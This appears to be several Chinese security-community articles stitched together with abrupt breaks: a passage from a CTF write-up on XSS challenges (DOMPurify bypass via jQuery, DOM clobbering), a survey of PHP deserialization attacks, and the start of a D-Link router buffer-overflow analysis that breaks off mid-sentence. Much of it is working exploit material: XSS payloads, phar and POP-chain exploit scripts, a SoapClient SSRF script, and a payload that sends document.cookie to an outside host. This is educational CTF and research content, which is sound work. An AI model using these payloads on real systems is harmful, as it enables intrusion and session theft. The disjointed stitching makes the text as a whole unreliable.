alert("You're Breathtaking!")
}
</script>
本题题目引入了四个 js 文件：
<!-- DOMPurify(2.0.7) -->
<script src="https://cdnjs.cloudflare.com/ajax/libs/dompurify/2.0.7/purify.min.js"
integrity="sha256-iO9yO1Iy0P2hJNUeAvUQR2ielSsGJ4rOvK+EQUXxb6E=" crossorigin="anonymous"></script>
<!-- Jquery(3.4.1), Popper(1.16.0), Bootstrap(4.4.1) -->
<script src="https://code.jquery.com/jquery-3.4.1.slim.min.js"
integrity="sha384-J6qa4849blE2+poT4WnyKhv5vZF5SrPo0iEjwBvKU7imGFAV0wwj1yYfoRSJoZ+n"
crossorigin="anonymous"></script>
<script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/umd/popper.min.js"
integrity="sha384-Q6E9RHvbIyZFJoft+2mJbHaEWldlvI9IOYy5n3zV9zzTtmI3UksdQRVvoxMfooAo"
crossorigin="anonymous"></script>
<script src="https://stackpath.bootstrapcdn.com/bootstrap/4.4.1/js/bootstrap.min.js"
integrity="sha384-wfSDF2E50Y2D1uUdj0O3uMBJnjuUD4Ih7YwaYd1iqfktj0Uod8GCExl3Og8ifwB6"
crossorigin="anonymous"></script>
这个题目也比较有意思，额外给我们增加的这几个 js 文件，也就是说这几个文件就是这道题我们可能需要用的工具了。
Purify.js 是一个 XSS WAF，Popper.js是一个用于构造提示的组件，题目中也给了一个简单的使用 popper 的例子，Jqeury.js
与 Bootstrap 就不多说了。
首先我们来看我们的可控点，一个是 name 参数，另一个是 number 参数。然而 number 参数我们却只能使用一位，而 name
参数虽然任意长度可控，但是要经过 XSS WAF 过滤。虽然之前有一些利用 mxss bypass Domprify 的事例，但是都是在 2.0
左右的版本，这里的 2.0.7 又是最新的版本，应该不会是什么新的绕过，否则 number 参数与最后的
eval($(“number#number”).html()); 就没用了，并且还有一些其他工具我们没有用上。
所以我们应该能用到的就是通过最后一个eval($(“number#number”).html())进行 XSS ，而 number
我们可控的只有一位，我们可能得想一些其他办法添加 number 标签当中的内容。
我们可以看到 [popper
document](https://getbootstrap.com/docs/4.0/components/popovers)
结合题目给出的那个例子，我们可以发现貌似这个 popper.js 可以满足我们添加新内容条件，而在文档
[options](https://getbootstrap.com/docs/4.0/components/popovers/%23options)
部分，我们可以到有一些我们值得关注的参数：
Name | Type | Default | Description
---|---|---|---
container | string | element | false | false | Appends the popover to a
specific element. Example: container: ‘body’. This option is particularly
useful in that it allows you to position the popover in the flow of the
document near the triggering element – which will prevent the popover from
floating away from the triggering element during a window resize.
content | string | element | function | ” | Default content value if data-content attribute isn’t present.If a function is given, it will be called with
its this reference set to the element that the popover is attached to.
我们可以从文档知道，我们可以通过data-container来控制 popover 的位置，data-content来控制内容，于是我们是不是可以有一个想法把这个 popover 弄到 number 标签当中呢？于是我们可以尝试构造如下 payload ：
<button id="keanu" data-toggle="popover" data-container="#number" data-content="hello">
利用题目中原有的$(“#keanu”).popover(“show”);来触发我们的 popover
，我们暂且先注释掉题目当中的延迟关闭的功能以便于我们观察。
尽管 eval 执行出错，但是我们可以发现 number 标签当中确实被我们注入了一些其他的内容
7<div class="popover fade bs-popover-right show" role="tooltip" id="popover238474" x-placement="right" style="position: absolute;"><div class="arrow"></div><h3 class="popover-header"></h3><div class="popover-body">hello</div></div>
我们这样我们简化一下这个内容:7<template>hello</template>，我们可控的地方就是 7 与 hello ，<template>就是
popper.js 实现的 popover
功能的代码，这个我们不需要关注，所以这样问题就变成了如何在$str=”$1<template>$any</template>”;eval($str);当中执行代码的问题了。
到这里其实答案已经呼之欲出了，既然是在eval当中，我们可以利用第一位为单引号，由于中间$any我们任意可控，后面再用一个单引号将<template>变成字符串，//注释掉后面的</template>即可，整个
payload 即是'<tamplate>’;alert();//</tamplate>。
所以我们需要这么构造一个元素：
<button id="keanu" data-toggle="popover" data-container="#number" data-content="';alert(1);//">
即可实现 XSS，所以 payload:
number='&name=<button id%3D"keanu" data-toggle%3D"popover" data-container%3D"%23number" data-content%3D"'%3Balert(1)%3B%2F%2F">
## WW3
<!-- Challenge -->
<div>
<h4>Meme Code</h4>
<textarea class="form-control" id="meme-code" rows="4"></textarea>
<div id="notify"></div>
</div>
<script>
/* Utils */
const escape = (dirty) => unescape(dirty).replace(/[<>'"=]/g, '');
const memeTemplate = (img, text) => {
return (`<style>@import url('https://fonts.googleapis.com/css?family=Oswald:700&display=swap');`+
`.meme-card{margin:0 auto;width:300px}.meme-card>img{width:300px}`+
`.meme-card>h1{text-align:center;color:#fff;background:black;margin-top:-5px;`+
`position:relative;font-family:Oswald,sans-serif;font-weight:700}</style>`+
`<div class="meme-card"><img src="${img}"><h1>${text}</h1></div>`)
}
const memeGen = (that, notify) => {
if (text && img) {
template = memeTemplate(img, text)
if (notify) {
html = (`<div class="alert alert-warning" role="alert"><b>Meme</b> created from ${DOMPurify.sanitize(text)}</div>`)
}
setTimeout(_ => {
$('#status').remove()
notify ? ($('#notify').html(html)) : ''
$('#meme-code').text(template)
}, 1000)
}
}
</script>
<script>
/* Main */
let notify = false;
let text = new URL(location).searchParams.get('text')
let img = new URL(location).searchParams.get('img')
if (text && img) {
document.write(
`<div class="alert alert-primary" role="alert" id="status">`+
`<img class="circle" src="${escape(img)}" onload="memeGen(this, notify)">`+
`Creating meme... (${DOMPurify.sanitize(text)})</div>`
)
} else {
$('#meme-code').text(memeTemplate('https://i.imgur.com/PdbDexI.jpg', 'When you get that WW3 draft letter'))
}
</script>
这个题目让我深深地体会到了 JavaScript 的恶意…先放个图，大家自行先体会一下，然后我们开始分析一下题目。
题目用比较多的代码做了一个获取图片以及输出自定义 text 的功能，仍旧是上题的四个外部 JS 文件，以及一大段 JS 代码。本题涉及到
JavaScript 比较多的黑魔法，我们一个个来看看。
审计代码，我们可以先看到题目定义了几个函数
const escape = dirty => unescape(dirty).replace(/[<>'"=]/g, "");
用来过滤我们的 img 参数
const memeTemplate = (img, text) => {
return (
`<style>@import url('https://fonts.googleapis.com/css?family=Oswald:700&display=swap');` +
`.meme-card{margin:0 auto;width:300px}.meme-card>img{width:300px}` +
`.meme-card>h1{text-align:center;color:#fff;background:black;margin-top:-5px;` +
`position:relative;font-family:Oswald,sans-serif;font-weight:700}</style>` +
`<div class="meme-card"><img src="${img}"><h1>${text}</h1></div>`
);
};
用来将我们传入的 img & text 参数构造一个 HTML 模版
const memeGen = (that, notify) => {
if (text && img) {
template = memeTemplate(img, text);
if (notify) {
html = `<div class="alert alert-warning" role="alert"><b>Meme</b> created from ${DOMPurify.sanitize(
text
)}</div>`;
}
setTimeout(_ => {
$("#status").remove();
notify ? $("#notify").html(html) : "";
$("#meme-code").text(template);
}, 1000);
}
};
用来进行 DOM
元素操作等，看起来我们的目标就是setTimeout函数中通过$(“#notify”).html(html)来执行代码了，所以我们可能需要想办法把
notify 参数设置为 true。
## DOM Clobbering
首先我们先来看看几个比较有趣的例子：
根据 MDN 文档
The domain property of the [Document](https://developer.mozilla.org/en-US/docs/Web/API/Document) interface gets/sets the domain portion of the origin
of the current document, as used by the [same origin
policy](https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy).
这里的document.domain并没有获取到我的域名zedd.vv，反而是获取到了 img 标签，然后我们可以直接输出 document
对象来看看是怎么回事
通过这个例子我们可以知道，可以通过一些标签的 id(name) 属性来控制 document(window) 通过 DOM API(BOM API)
获取到的某个东西
我查阅过相关资料，也询问过一些前端的专业人员，这里给我的解释是”document 和 window 两个变量，其实是 DOM 和 BOM
的规范，一般来说这两个不应该被当做普通的 JS 对象，但是规范与实现不同”，”都是因为上古遗留问题，现在哪有直接写 document.xxx
来获取元素的，TS 和 eslint 都会报错”。
这种操作具体可以参考 [dom-clobbering](http://www.thespanner.co.uk/2013/05/16/dom-clobbering/)，不算是新的攻击手法，但是有效，我们可以通过利用这种 Trick 来实现一些操作。
## setTimeout
我们了解了 Dom Clobbering 之后，我们可以先看看可以怎么通过setTimeout来利用
<div id="a"></div>
<script>
a.innerHTML = new URL(location).searchParams.get('b');
setTimeout(ok, 2000)
</script>
简化了一下题目代码，对于以上的代码，我们可以通过利用 Dom Clobbering 来实现 XSS ，因为我们可以直接传入 id 为 ok 的标签进行
XSS ，例如传入
<a id=ok href=javascript:alert()>
可是为什么呢？
根据 MDN 文档，setTimeout的第一个参数，必须是个函数或字符串。可是根据 Dom Clobbering ，这里的ok应该是一个 a
标签，既然这不是个函数，它就尝试用toString方法转换成字符串，而根据 MDN 文档
[HTMLAnchorElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLAnchorElement)
[HTMLHyperlinkElementUtils.toString()](https://developer.mozilla.org/en-US/docs/Web/API/HTMLHyperlinkElementUtils/toString)
Returns a [USVString](https://developer.mozilla.org/en-US/docs/Web/API/USVString) containing the whole URL. It is a synonym for
[HTMLHyperlinkElementUtils.href](https://developer.mozilla.org/en-US/docs/Web/API/HTMLHyperlinkElementUtils/href), though it can’t be used to
modify the value.
而当 a 标签通过toString()方法转换我们可以得到它的 href 属性，也就是javascript:alert()，所以我们就可以执行代码了。
## notify
好了，回到我们的 notify 上，虽然我们可以通过 DOM Clobbering 进行“污染”一些参数，但是题目直接规定了let notify =
false，浏览器当然也不可能允许我们修改服务端的代码，这可怎么办？
其实这里的 notify 比较具有误导性，比较像 C 语言入门的时候函数传参部分，我们把整个代码改一下：
<script>
const memeGen = (that, notify) => {
if (text && img) {
template = memeTemplate(img, text);
if (notify) {
//...
}
}
};
</script>
<script>
/* Main */
let notify = false;
let text = new URL(location).searchParams.get("text");
let img = new URL(location).searchParams.get("img");
if (text && img) {
document.write(
`<div class="alert alert-primary" role="alert" id="status">` +
`<img class="circle" src="${escape(
img
)}" onload="memeGen(this, notify)">` +
`Creating meme... (${DOMPurify.sanitize(text)})</div>`
);
} else {
$("#meme-code").text(
memeTemplate(
"https://i.imgur.com/PdbDexI.jpg",
"When you get that WW3 draft letter"
)
);
}
</script>
再简化一下就成了我们的 C 语言函数传参的练习题了
const memeGen = (that, x) => {
if (x) {
//...
}
};
为了易于理解我们可以写成这样就不易弄混了，所以，对于memeGen来说，notify只是一个参数变量名，区别于我们一开始提到的 Javascript
Scope 部分，该函数内的notify参数变量取决于该函数所在的作用域。
而对于memeGen函数来说，它的作用域并非是在let notify = false所处的 JS
代码域当中，而是在通过document.write函数之后的作用域，所以这里就涉及到了作用域的问题。
## JavaScript Scope
所以对于执行document.write函数过后，也就是对于onload=memeGen函数来说，其作用域并非是 JS
的作用域，在题目中本来这么几个作用域：window、script、onload，其中 window 包含了后两个，后两个互不包含，所以这里在 onload
找不到 notify 变量，就会去 window 的作用域找，就会把 script 作用域当中的 notify 给找到，notify 变量也就成 false
了。
我们也可以通过一个简单的例子来理解：
<div name=x></div>
<script>
const test = (that,x) => {
console.log("Test'x: " + x);
if(x){
console.log("JS Magic");
}
};
</script>
<script>
let x = false;
console.log("JS'x: " + x);
document.write("<img src=x onerror=test(this,x)>");
</script>
原理都是一样的，这里test函数在onerror作用域找到了 x 变量，所以就不会再去找 window 作用域下的
x=false变量了，所以本题我们需要引入一个name=notify的标签来“覆盖”掉原来的 notify 变量。
其实这也是一开始我们可以发现题目给出的代码有一处也比较神奇就是 text & img
const memeGen = (that, notify) => {
if (text && img) {
template = memeTemplate(img, text);
...
}
};
memeGen函数在函数内找不到text，onload 的作用域也找不到text，就会去 script下面找，而多个 script
属于同一个作用域，所以对于函数当中的 text 以及 img ，它是在下一块 JS 代码段定义的。
<script>
let notify = false;
let text = new URL(location).searchParams.get("text");
let img = new URL(location).searchParams.get("img");
...
</script>
## JQuery’s ‘mXSS’
所以基本上 notify 的问题我们解决了，接下来就是 DOM Purify 的问题了。
我们可以知道最终我们要插入的代码是通过$(“#notify”).html(html)来插入的，而参数 html 又来自
html = `<div class="alert alert-warning" role="alert"><b>Meme</b> created from ${DOMPurify.sanitize(text)}</div>`;
简单跟一下 JQuery 的 html() 函数，我们可以发现有以下利用链：
[html()](https://github.com/jquery/jquery/blob/d0ce00cdfa680f1f0c38460bc51ea14079ae8b07/src/manipulation.js%23L372)->[append()](https://github.com/jquery/jquery/blob/d0ce00cdfa680f1f0c38460bc51ea14079ae8b07/src/manipulation.js%23L406)->[doManip()](https://github.com/jquery/jquery/blob/d0ce00cdfa680f1f0c38460bc51ea14079ae8b07/src/manipulation.js%23L312)->[buildFragment()](https://github.com/jquery/jquery/blob/d0ce00cdfa680f1f0c38460bc51ea14079ae8b07/src/manipulation.js%23L117)->[htmlPrefilter()](https://github.com/jquery/jquery/blob/d0ce00cdfa680f1f0c38460bc51ea14079ae8b07/src/manipulation/buildFragment.js%23L39)
在
[htmlPrefilter()](https://github.com/jquery/jquery/blob/d0ce00cdfa680f1f0c38460bc51ea14079ae8b07/src/manipulation.js%23L202)
函数中我们可以看到有这么一段代码：
// source of htmlPrefilter()
jQuery.extend( {
htmlPrefilter: function( html ) {
return html.replace( rxhtmlTag, "<$1></$2>" );
},
...
这段代码就是用来转换一些自闭合标签的标签，例如<blah/>变成<blah></blah>，我们就可以利用这个特性来实现一些绕过，例如：
<style><style/>Elon
经过innerHTML会变成
<style>
<style/>Elon
</style>
但是经过 jquery html() 就会变成
<style>
<style>
</style>
Elon
我们可以发现通过html()可以把一些自闭合的拆分，以及把内容转换出去，有点类似于 mXSS ，最终我们得到的是
<style><style></style>Elon</style>
所以我们可以利用这个特性绕过 XSS WAF，例如以下
<style><style/><script>alert()//
经过DOMPurify.sanitize我们可以得到
<style><style/><script>alert(1337)//</style>
经过 jquery html()到最终渲染页面就变成了
<style><style></style><script>alert(1337)//</style></div></script></div></div>
所以这就是 JQuery’s 类似于 mXSS 的 trick
综上所述，配合我们之前的内容，最终 payload 如下：
<img name=notify><style><style/><script>alert()//
最终传参:
img=valid_img_url&text=<img name%3dnotify><style><style%2F><script>alert()%2F%2F
这里我也不是非常清楚作者为啥要加一个 img 参数//全程没有用到
最后再来一遍：
## References
[DOM Clobbering](http://www.thespanner.co.uk/2013/05/16/dom-clobbering/)
[HTMLAnchorElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLAnchorElement) | 社区文章 |
# 前言
出于对php反序列漏洞感兴趣, 遂写一文总结一下在学习PHP反序列化的漏洞过程中遇到的点, 在CTF中有关的漏洞形式几乎是必出
# __wakeup()
对应的CVE编号: **CVE-2016-7124**
* 存在漏洞的PHP版本: PHP5.6.25之前版本和7.0.10之前的7.x版本
* 漏洞概述: `__wakeup()`魔法函数被绕过,导致执行了一些非预期效果的漏洞
* 漏洞原理: `当对象的属性(变量)数大于实际的个数时,__wakeup()魔法函数被绕过`
demo:
<?php
highlight_file(__FILE__);
error_reporting(0);
class convent{
var $warn = "No hacker.";
function __destruct(){
eval($this->warn);
}
function __wakeup(){
foreach(get_object_vars($this) as $k => $v) {
$this->$k = null;
}
}
}
$cmd = $_POST[cmd];
unserialize($cmd);
?>
可以看到, 这里在进行`unserialize`时, `__wakeup` 方法中遍历将对象属性给删除, 导致无法执行`eval`函数, 造成代码执行,
但是在存在该漏洞的php 版本中, 我们就能绕过这个点, 达到代码执行的效果
# php session 反序列化
首先要知道了是PHP session 的引擎的差异, 这也是导致这个漏洞的根本原因和利用条件
## session 的存储机制
php中的session中的内容并不是放在内存中的，而是以文件的方式来存储的，存储方式就是由配置项 **session.save_handler**
来进行确定的，默认是以文件的方式存储。
存储的文件是以sess_sessionid来进行命名的
有三种方式
* 默认使用php : 格式 `键名|键值(经过序列化函数处理的值)`
* php_serialize: 格式 经过序列化函数处理的值
* php_binary: 键名的长度对应的ASCII字符 + 键名 + 经过序列化函数处理的值
在php.ini 中有如下配置:
session.save_path="" --设置session的存储路径
session.save_handler="" --设定用户自定义存储函数，如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式)
session.auto_start boolen --指定会话模块是否在请求开始时启动一个会话,默认为0不启动
session.serialize_handler string --定义用来序列化/反序列化的处理器名字。默认使用php
在phpstudy 中, session 文件是存放在`extension/tmp/tmp` 目录中
第一种, 默认php格式:
<?php
session_start();
$_SESSION['name'] = '1FonlY' ;
var_dump($_SESSION);
?> // array(1) { ["name"]=> string(6) "1FonlY" }
查看session 文件为: `name|s:6:"1FonlY";`
第二种, php_serialize 格式:
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['name'] = '1FonlY' ;
var_dump($_SESSION);
?> // array(1) { ["name"]=> string(6) "1FonlY" }
`a:1:{s:4:"name";s:6:"1FonlY";}`
`a:1`是使用php_serialize进行序列话都会加上。同时使用php_serialize会将session中的key和value都会进行序列化。
第三种, php_binary格式:
<?php
ini_set('session.serialize_handler', 'php_binary');
session_start();
$_SESSION['name'] = '1FonlY' ;
var_dump($_SESSION);
?>
`names:6:"1FonlY";` 不可显的为`EOT` ,`name`的长度为`4` 4在ASCII 表中就是 EOT
## session 序列化注入漏洞:
**当序列化的引擎和反序列化的引擎不一致时，就可以利用引擎之间的差异产生序列化注入漏洞**
比如这里先实例化一个对象,然后将其序列化为 `O:7:"_1FonlY":1:{s:3:"cmd";N;}`
如果传入 `|O:7:"_1FonlY":1:{s:3:"cmd";N;}` 在使用`php_serialize` 引擎的时候
序列化后的session 文件是这样的 `a:1:{s:4:"name";s:31:"|O:7:"_1FonlY":1:{s:3:"cmd";N;}";}`
这时,将`a:1:{s:4:"name";s:31:"` 当做键名, `O:7:"_1FonlY":1:{s:3:"cmd";N;}`
当做键值,将键值进行反序列化输出,这时就造成了序列化注入攻击
这个点在之前的高校战疫中就考查过, 利用的就是php session的序列化机制差异导致的注入漏洞
相关题目: <http://web.jarvisoj.com:32784/>
# phar 反序列化
最初是在 Black Hat 上安全研究员 Same Thomas 分享的议题.phar
反序列化漏洞,利用phar文件会以序列化的形式存储用户自定义的meta-data这一特性，拓展了php反序列化漏洞的攻击面。该方法在 **文件系统函数**
（file_exists()、is_dir()等）参数可控的情况下，配合 **phar://伪协议**
，可以不依赖unserialize()直接进行反序列化操作。
关于phar 文件的结构解释网上已经有很多了
这里直接贴代码了, 相信很多师傅都是喜欢看代码
<?php
class TestObject {
}
// 生成phar 文件的格式
@unlink("phar.phar");
$o = new TestObject();
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
这是我生成的一个exp phar文件, 可以看到我们的payload是序列化存储的
phar 反序列化可以利用的函数
利用时,使用`phar://`这个协议即可
## 伪造phar 文件为其他格式
只需要改 文件头
stub即可,php识别phar文件是通过其文件头的stub，更确切一点来说是`__HALT_COMPILER();?>`这段代码，对前面的内容或者后缀名是没有要求的。那么我们就可以通过添加任意的文件头+修改后缀名的方式将phar文件伪装成其他格式的文件
$phar->setStub("GIF89a" . "<?php __HALT_COMPILER(); ?>");
## 利用条件
* phar 文件能够上传
* 文件操作函数参数可控, `:` ,`/` `phar` 等特殊字符没有被过滤
* 有可用的魔术方法作为”跳板”
## bypass phar:// 不能出现在首部
这时候我们可以利用`compress.zlib://`
或`compress.bzip2://`函数,`compress.zlib://`和`compress.bzip2://`同样适用于`phar://`。
payload: `compress.zlib://phar://phar.phar/test.txt`
Postgresql
<?php
$pdo = new PDO(sprintf("pgsql:host=%s;dbname=%s;user=%s;password=%s", "127.0.0.1", "postgres", "sx", "123456"));
$pdo->pgsqlCopyFromFile('aa', 'phar://test.phar/aa');
pgsqlCopyToFile和pg_trace同样也是能使用的，只是它们需要开启phar的写功能
MySQL
LOAD DATA LOCAL INFILE也会触发这个php_stream_open_wrapper.
但是需要修改mysqld配置,因为不是默认配置
[mysqld]
local-infile=1
secure_file_priv=""
# 字符串逃逸
0CTF 2016 piapiapia
读完了下载下来的这几个源码后,发现有用的只在 class.php 和
config.php(唯一存在flag字段的内容,说明flag一定是在config.php里面,那么现在的目标就是去读取config.php 的内容)
在register.php 中:
$user->update_profile($username, serialize($profile)); // 必定存在一个序列化操作
在profile.php 中: 存在`文件操作函数`以及`可控`的参数 `photo` ,如果`photo` 为config.php 就能读取到flag,
photo 输出是以base64的形式
$photo = base64_encode(file_get_contents($profile['photo'])); // 如果photo 为 config.php 就可以读取flag
这里的正则过滤掉了`where`(5) ,如果存在where等字段,就用`hacker`(6) 来替换
在update.php 中对数组profile 进行序列化储存后,在profile.php 进行反序列化,然后这道题的考点就在这两步操作中的一个很细节的点
在反序列化`unserialize()` 时,会自动忽略掉能够正确序列化之后的内容( 也就是 **构造闭合**
),从而忽略掉`upload/md5(filename)`
通过抓包来看一下数组的中元素的传递的顺序,也是 nickname
是位于photo之前的,所以可以想办法让nickname足够长,把upload那部分字段给”挤出去” 专业术语: **反序列化长度变化尾部字符串逃逸**
再来理清一下思路:
* **要使 photo 字段的内容为 config.php,构造闭合如下**
`";}s:5:"photo";s:10:"config.php";}` 这里一共 34 个字符. 那么在原来的
nickname中的`where....where...` 一共是170个字符,加上
`";}s:5:"photo";s:10:"config.php";}` 后为204个字符,相差34 个字符, 因为正则匹配把where 替换为
hacker ,每替换一个就增加
1个字符,现在用34个where就可以增加34个字符,导致构造的`";}s:5:"photo";s:10:"config.php";}` 的效果为
`";}` 是为了闭合nickname部分.
`s:5:"photo";s:10:"config.php";}` 而后面这部分,就单独成为了 photo 的部分( **尾部字符串逃逸** ),到达效果
* **绕过正则表达式和长度限制**
使用数组绕过 nickname[]=
payload:
发包后在`/profile.php` 页面复制头像的地址,进行base64decode得到flag
字符串逃逸还分变长和变短, 原理都差不多的, 遇到了灵活处理
# 对象逃逸
[安洵杯 2019]easy_serialize_php
这里直接看官方WP吧, 写的比我好, 不再总结了
<https://xz.aliyun.com/t/6911#toc-3>
# Pop chain
**把魔术方法作为最开始的小组件，然后在魔术方法中调用其他函数(小组件)，通过寻找相同名字的函数，再与类中的敏感函数和属性相关联，就是POP CHAIN
。此时类中所有的敏感属性都属于可控的。当unserialize()传入的参数可控，便可以通过反序列化漏洞控制POP CHAIN达到利用特定漏洞的效果。**
通俗点就是：反序列化中，如果关键代码不在魔术方法中，而是在一个类的普通方法中。这时候可以通过寻找相同的函数名将类的属性和敏感函数的属性 **联系** 起来。
一般的序列化攻击都在PHP魔术方法中出现可利用的漏洞，因为自动调用触发漏洞，但如果关键代码没在魔术方法中，而是在一个类的普通方法中。这时候就可以通过构造POP链寻找相同的函数名将类的属性和敏感函数的属性联系起来。
我的理解: POP CHAIN 更多的是在类之间,方法之间的调用上,由于方法的参数可控,存在危险函数,导致了漏洞,其实也是在代码逻辑上出现的问题
在编写Pop 链的exp的时候, 类的框架几乎不变,只需要做一些修改
例题: MRCTF 2020 Easy pop
Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}
这里一共3个类, 故利用起来比较简单, 适合理解
在Modifier类中有`__invoke`魔术方法,该方法是当以函数的形式去调用一个对象时,触发该函数,然后就会调用`append()`函数去进行包含
在Show类中有`__toString`魔术方法,当对象被当做字符串的适合,触发该函数
在Test类中有`__get`魔术方法, 当读取一个不可访问的属性的值时触发该函数
pop 链逻辑:
* 在类Show 中, `$this->souce` 如果是Show 类,就会调用`__toString`方法
* `__toString`方法中 `$this->str->source` , 如果str为Test类中的属性`p`, 然后Test类中不存在`source`属性,就会调用`__get`方法
* `__get`方法将属性`p`作为函数返回,如果属性`p` 是`Modifier`类就会调用`__invoke`方法, `__invoke`方法中就会去包含`var`,从而通过`伪协议`读取到flag.php
exp:
<?php
class Modifier
{
protected $var = 'php://filter/read=convert.base64-encode/resource=flag.php';
}
class Show
{
public $source;
public $str;
public function __construct($file)
{
$this->source = $file;
echo 'Welcome to ' . $this->source . "<br>";
}
public function __toString()
{
return "php serialize";
}
public function __wakeup()
{
$this->source = new Show();
}
}
class Test{
public $p;
public function __construct()
{
$this->p = new Modifier();
}
}
$a = new Show('flag.php'); // 初始化参数随便
$a->str = new Test();
$b = new Show($a);
$pop = serialize($b);
echo urlencode($pop);
# SoapClient + 反序列化 => SSRF
SoapClient 类搭配CRLF注入可以实现SSRF, 在本地生成payload的时候,需要修改`php.ini` 中的 `;extension
soap` 将注释删掉即可
因为SoapClient 类会调用 `__call` 方法,当执行一个不存在的方法时,被调用,从而实现ssrf
生成payload:
<?php
$url = "http://127.0.0.1/flag.php";
$b = new SoapClient(null, array('uri' => $url, 'location' => $url));
$a = serialize($b);
$a = str_replace('^^', "\r\n", $a);
echo "|" . urlencode($a);
?>
可供练习的例题: LCTF 2018 bestphp's revenge
exp:
#!/usr/bin/env python
# -*- coding: utf-8 -*- # @Author : Eustiar
import requests
import re
url = "http://c85b635f-1224-4de2-9b64-de9a2adc0d99.node3.buuoj.cn/"
payload = '|O:10:"SoapClient":3:{s:3:"uri";s:3:"123";s:8:"location";s:25:"http://127.0.0.1/flag.php";s:13:"_soap_version";i:1;}'
r = requests.session()
data = {'serialize_handler': 'php_serialize'}
res = r.post(url=url+'?f=session_start&name='+payload, data=data)
# print(res.text)
res = r.get(url)
# print(res.text)
data = {'b':'call_user_func'}
res = r.post(url=url+'?f=extract', data=data)
res = r.post(url=url+'?f=extract', data=data) # 相当于刷新页面
sessionid = re.findall(r'string\(26\) "(.*?)"', res.text)
cookie = {"Cookie": "PHPSESSID=" + sessionid[0]}
res = r.get(url, headers=cookie)
print(res.text)
# Exception + 反序列化 => XSS
这是之前在BJD上一道题目学到点, 以前没遇到过,
php 的原生类中的`Error` 和`Exception` 中内置了`toString` 方法, 可能造成xss漏洞
当时那个题我没有用原生类,直接用的打cookie一样也能做出来
<?php
$s = $_GET['s'];
echo unserialize($s);
<?php
$s = '<script>var img=document.createElement("img");img.src="http://f7ffa642-8f7f-4879-bc49-e75d26e7c2bc.node3.buuoj.cn/a?"+escape(document.cookie);</script>';
echo serialize($s);
利用原生类:
<?php
$s = new Exception("<script>alert(1)</script>");
echo urlencode(serialize($s));
# 总结
当然除了上面的漏洞外, 还可以与sql注入, 命令执行等结合,不过原理都差不多, 不再赘述
php 的反序列化漏洞,其实我认为都是一种,就是格式化字符串漏洞,有点类似SQL注入, 改变原有的代码结构而导致漏洞
# Reference
* <https://www.cnblogs.com/iamstudy/articles/unserialize_in_php_inner_class.html>
* <http://blog.ydspoplar.top/2020/03/17/php%E5%8F%AF%E5%88%A9%E7%94%A8%E7%9A%84%E5%8E%9F%E7%94%9F%E7%B1%BB/>
* <https://blog.zsxsoft.com/post/38>
* <https://hack-for.fun/posts/20200223/#0CTF-2016-piapiapia> | 社区文章 |
# 360代码卫士助D-LINK修复多个高危漏洞附技术分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
近期，360企业安全集团代码卫士团队安全研究人员发现友讯(D-LINK)公司旗下产品系列 DIR-619、DIR-605
系列路由器的两个高危安全漏洞(CVE-2018-20056和CVE-2018-20057)，并第一时间向友讯(D-LINK)公司汇报，协助其修复漏洞。
DIR-605 及 DIR-619
系列是友讯公司旗下的家用路由器产品。北京时间2019年1月4日，友讯(DLINK)公司发布了安全更新公告(https://securityadvisories.dlink.com/announcement/publication.aspx?name=SAP10100)，公开致谢360企业安全集团代码卫士团队，并且发布相应的补丁修复漏洞。
图 致谢360代码卫士
本次友讯公司修复的漏洞中，CVE-2018-20056是一个缓冲区溢出漏洞，本文将针对该漏洞进行技术分析。
## 漏洞概述
**CVE-2018-20056**
该漏洞是一个无需授权的栈缓冲区溢出漏洞，影响 D-LINK DIR-605L 300M wireless cloud routing 和 DIR-619L
300M wireless cloud routing 型号。漏洞出现在 web 服务器中的一个功能接口中，可被未经验证的用户通过 post
请求进行调用。请求的 URL 为： http://[target_ip]/goform/formLanguageChange，其中 POST 数据的
currtime 参数未进行长度校验通过危险的内存拷贝函数写入栈上，导致精心构造的 currtime 参数可以触发缓冲区溢出漏洞，甚至直接获得设备的
rootshell。
## 技术分析
通过 binwalk 解包固件后分析系统文件目录，发现系统中存在 boa 程序。Boa 程序是一个轻量级的 web
服务器程序。常见于嵌入式系统中。通过逆向分析发现此程序在 boa 开源代码的基础上新增了很多功能接口以实现路由器上的不同功能。
其中大部分功能接口都需要经过身份验证后才可以使用，但仍旧存在少部分功能接口如登录注销等可以使用。通过逆向分析 boa 程序定位至
process_header_end 函数，可以找到未验证用户可使用的部分功能。其中部分关键代码如下，其判断流程可简单总结为,若is_valid_user
函数判断请求来自于未验证用户后，会再次通过 strstr 函数判断 url 请求是否为此用户可使用的功能接口。通过分析及实验发现，除了 login
功能外，未验证用户还可以使用 formlanguagechange 功能接口来改变web前台界面显示的语言。
图 process_header_end 函数
接下来通过定位分析分发函数websaspinit寻找进入此函数的方式，关键代码如下：
图 websaspinit 函数
通过分析实验发现，在 post 请求访问 http://[target_ip]/goform/formLanguageChange时会进入
formLanguageChange 函数流程，函数中通过 websgetvar 函数获取 post 请求中 config.i18n_language，
currtime， nextpage 参数的值。
在 websgetvar 函数中，通过 strlen、 malloc、 memcpy
